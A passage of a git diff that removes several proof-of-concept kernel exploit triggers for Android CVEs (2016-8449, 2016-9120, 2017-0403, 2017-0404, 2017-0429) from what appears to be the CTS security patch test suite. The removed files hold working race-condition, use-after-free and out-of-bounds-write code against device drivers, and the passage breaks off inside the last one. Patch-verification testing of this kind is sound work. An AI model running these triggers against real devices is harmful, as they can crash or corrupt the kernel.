- layerInfo.layer_id = curr_val;
- if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
- perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
- //exit(-2);
- }
- curr_val--;
- if(curr_val == -1) {
- break;
- }
- }
- printf("Set layer info\n");
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index ce1e1bb..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM 100
-#define TRY_TIMES 900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC 'n'
-
-struct nvavp_channel_open_args {
- __u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN _IOR(NVAVP_IOCTL_MAGIC, 0x73, \
- struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- if(ret == -1){
- ERR("[-] set affinity failed");
- }
- return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
- set_affinity(1);
-
- while(attack){
- close(target_fd);
- }
-
- return NULL;
-}
-
-int main()
-{
- int i, try_time = TRY_TIMES, ret;
- struct nvavp_channel_open_args o_args = { 0 };
-
- /* bind_cpu */
- set_affinity(0);
-
- /* open dev */
- fd = open(DEV, O_RDONLY);
- if(fd == -1){
- ERR("[-] open failed");
- return 0;
- } else {
- LOG("[+] open OK");
- }
-
- #if 1
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- goto out_dev;
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
-
- target_fd = o_args.channel_fd;
- #endif
-
- /* create close thread */
- #if 1
- attack = 1;
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
- if(ret){
- ERR("[-] create close thread %d failed", i);
- goto out_close_thread;
- }
- }
- #endif
-
- #if 1
- for(i = 0; i < TRY_TIMES; i++){
- LOG("[+] %03d times", i);
- /* open */
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
- //usleep(200);
- }
- #endif
-
-out_close_thread:
- attack = 0;
- /* kill close thread */
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- if(close_thread_id[i])
- pthread_join(close_thread_id[i], NULL);
- }
-out_dev:
- close(fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index 95ddb3d..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
- ION_HEAP_TYPE_SYSTEM,
- ION_HEAP_TYPE_SYSTEM_CONTIG,
- ION_HEAP_TYPE_CARVEOUT,
- ION_HEAP_TYPE_CHUNK,
- ION_HEAP_TYPE_DMA,
- ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
- are at the end of this enum */
- ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK (1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK (1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK (1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK (1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
- size_t len;
- size_t align;
- unsigned int heap_id_mask;
- unsigned int flags;
- ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
- ion_user_handle_t handle;
- int fd;
-};
-
-
-struct ion_handle_data {
- ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
- unsigned int cmd;
- unsigned long arg;
-};
-#define ION_IOC_MAGIC 'I'
-
-#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
- struct ion_allocation_data)
-
-#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1 /* mappings of this buffer should be
- cached, ion will do cache
- maintenance when the buffer is
- mapped for dma */
-#define ION_FLAG_CACHED_NEEDS_SYNC 2 /* mappings of this buffer will created
- at mmap time, if this is set
- caches must be managed manually */
-
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
- char* dev_path = "/dev/ion";
- g_fd = open(dev_path, O_RDONLY);
- if (g_fd < 0) {
- printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
- } else {
- printf("[*] open file(%s) succ!\n", dev_path);
- }
- return g_fd;
-}
-
-void prepare_data() {
- void* data = malloc(0x1000);
-
- g_allocation = (struct ion_allocation_data*)data;
-
- g_allocation->len = 0x1000;
- g_allocation->align = 8;
- g_allocation->heap_id_mask = 1 << 25;
- g_allocation->flags = ION_FLAG_CACHED;
- g_allocation->handle = -1;
-
- mprotect(data, 0x1000, PROT_READ);
- printf("[*] mprotect, error = %d\n", errno);
-
- g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
- ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
- ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
- setpriority(PRIO_PROCESS, gettid(), privi);
-
- /* bind process to a CPU*/
- if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
- }
-}
-void* race_thread(void* arg) {
- setup_privi_and_affinity(-19, 2);
- while (1) {
- pthread_mutex_lock(&mutex);
- pthread_cond_wait(&cond, &mutex);
- trigger_ion_free();
- pthread_mutex_unlock(&mutex);
- }
-
-}
-
-
-int main(int argc, char**argv) {
- if (open_driver() < 0) {
- return -1;
- }
- setup_privi_and_affinity(0, 1);
- prepare_data();
- pthread_t tid;
- pthread_create(&tid, NULL, race_thread, NULL);
- sleep(1);
- while (1) {
- pthread_cond_signal(&cond);
- usleep(100);
- trigger_ion_alloc();
- sleep(1);
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index cb31e4d..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
- /*
- * Major type: hardware/software/tracepoint/etc.
- */
- __u32 type;
-
- /*
- * Size of the attr structure, for fwd/bwd compat.
- */
- __u32 size;
-
- /*
- * Type specific configuration information.
- */
- __u64 config;
-
- union {
- __u64 sample_period;
- __u64 sample_freq;
- };
-
- __u64 sample_type;
- __u64 read_format;
-
- __u64 disabled : 1, /* off by default */
- inherit : 1, /* children inherit it */
- pinned : 1, /* must always be on PMU */
- exclusive : 1, /* only group on PMU */
- exclude_user : 1, /* don't count user */
- exclude_kernel : 1, /* ditto kernel */
- exclude_hv : 1, /* ditto hypervisor */
- exclude_idle : 1, /* don't count when idle */
- mmap : 1, /* include mmap data */
- comm : 1, /* include comm data */
- freq : 1, /* use freq, not period */
- inherit_stat : 1, /* per task counts */
- enable_on_exec : 1, /* next exec enables */
- task : 1, /* trace fork/exit */
- watermark : 1, /* wakeup_watermark */
- /*
- * precise_ip:
- *
- * 0 - SAMPLE_IP can have arbitrary skid
- * 1 - SAMPLE_IP must have constant skid
- * 2 - SAMPLE_IP requested to have 0 skid
- * 3 - SAMPLE_IP must have 0 skid
- *
- * See also PERF_RECORD_MISC_EXACT_IP
- */
- precise_ip : 2, /* skid constraint */
- mmap_data : 1, /* non-exec mmap data */
- sample_id_all : 1, /* sample_type all events */
-
- exclude_host : 1, /* don't count in host */
- exclude_guest : 1, /* don't count in guest */
-
- exclude_callchain_kernel : 1, /* exclude kernel callchains */
- exclude_callchain_user : 1, /* exclude user callchains */
- constraint_duplicate : 1,
-
- __reserved_1 : 40;
-
- union {
- __u32 wakeup_events; /* wakeup every n events */
- __u32 wakeup_watermark; /* bytes before wakeup */
- };
-
- __u32 bp_type;
- union {
- __u64 bp_addr;
- __u64 config1; /* extension of config */
- };
- union {
- __u64 bp_len;
- __u64 config2; /* extension of config1 */
- };
- __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
- /*
- * Defines set of user regs to dump on samples.
- * See asm/perf_regs.h for details.
- */
- __u64 sample_regs_user;
-
- /*
- * Defines size of the user stack to dump on samples.
- */
- __u32 sample_stack_user;
-
- /* Align to u64. */
- __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
- printf("id=%d arg=%d\n",gettid(),arg);
-
- int i;
- struct perf_event_attr attr;
-
- switch ((long)arg) {
- case 0:
- //#16123
- printf("thread 0\n");
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 1;
-
- group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
- -1, 0x1ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-group:");
- }
-
-
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 5;
-
- child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-child:");
- }
-
- created = 1;
- break;
- case 1:
-
- while(!created){
- sleep(1);
- }
-
- printf("thread 1\n");
- close(group_fd[0]);
-
- freed = 1;
-
- break;
- case 2:
-
- printf("thread 2\n");
-
- while(!freed){
- sleep(1);
- }
-
- close(child_fd[0]);
-
- finished = 1;
-
- break;
-
- }
- return 0;
-}
-
-int poc() {
- long i;
- pthread_t th[5];
- for (i = 0; i < 3; i++) {
- pthread_create(&th[i], 0, thr, (void *)i);
- usleep(10000);
- }
-
- while(!finished){
- sleep(1);
- }
-
- return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
- int pid;
- unsigned int times;
- times = 0;
- printf("POC3\n");
- printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
- fflush(stdout);
-
- // while(1){
- pid = fork();
- if(pid){
- int status;
- int ret = waitpid(pid,&status,0);
-
- printf("[%d]times.\r",times);
- times++;
- }else
- return poc();
- // }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index 9e30d30..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
- memset(buf, 0xa0, sizeof(buf));
-
- int fd = open("/proc/asound/version", O_RDWR);
- if(fd != -1){
- lseek(fd, 0x1234567800000000, SEEK_SET);
- write(fd, buf, sizeof(buf));
- }else{
- perror("open error\n");
- }
- close(fd);
- return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index afb77b4..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
- union {
- __u32 id; /* FromId */
- __u32 size; /* CreateHandle */
- __s32 fd; /* DmaBufFd or FromFd */
- };
- __u32 handle; /* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
- __u32 handle; /* nvmap handle */
- __u32 heap_mask; /* heaps to allocate from */
- __u32 flags; /* wb/wc/uc/iwb etc. */
- __u32 align; /* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- return ret;
-}
-
-#define SZ_128K 0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
- __u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
- __u64 offset; /* in, byte address */
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
- __u32 flags; /* in */
- __u32 padding; /* in */
- union {
- __u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
- __u64 align; /* in, alignment multiple (0:={1 or n/a}) */
- } o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM 1
-#define TRY_TIMES 2
-#define NVMAPDEV "/dev/nvmap"
-#define GPUDEV "/dev/nvhost-gpu"
-#define ASDEV "/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
- int i, j, ret;
- int dma1, dma2;
- struct nvmap_create_handle args = {
- .size = PAGE_SIZE
- };
- struct nvhost_as_bind_channel_args as_bind = { 0 };
- struct nvhost_as_alloc_space_args alloc = {
- .pages = 1,
- .page_size = SZ_128K,
- .flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
- };
- struct nvhost_as_free_space_args free_arg = {
- .pages = 1,
- .page_size = SZ_128K
- };
-
- /* bind_cpu */
- set_affinity(0);
-
- nvmap = open(NVMAPDEV, O_RDONLY);
- if(nvmap == -1) {
- ERR("[-] open %s failed", NVMAPDEV);
- goto __cleanup;
- }
- gpu = open(GPUDEV, O_RDONLY);
- if(gpu == -1) {
- ERR("[-] open %s failed", GPUDEV);
- goto __cleanup;
- }
- asgpu = open(ASDEV, O_RDONLY);
- if(asgpu == -1) {
- ERR("[-] open %s failed", ASDEV);
- goto __cleanup;
- }
- // bind the channel
- as_bind.channel_fd = gpu;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
- if(ret == -1) {
- ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
- goto __cleanup;
- } else {
- //LOG("[+] ioctl OK, channel is bond");
- }
-
- #if 1
- // prepare
- ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
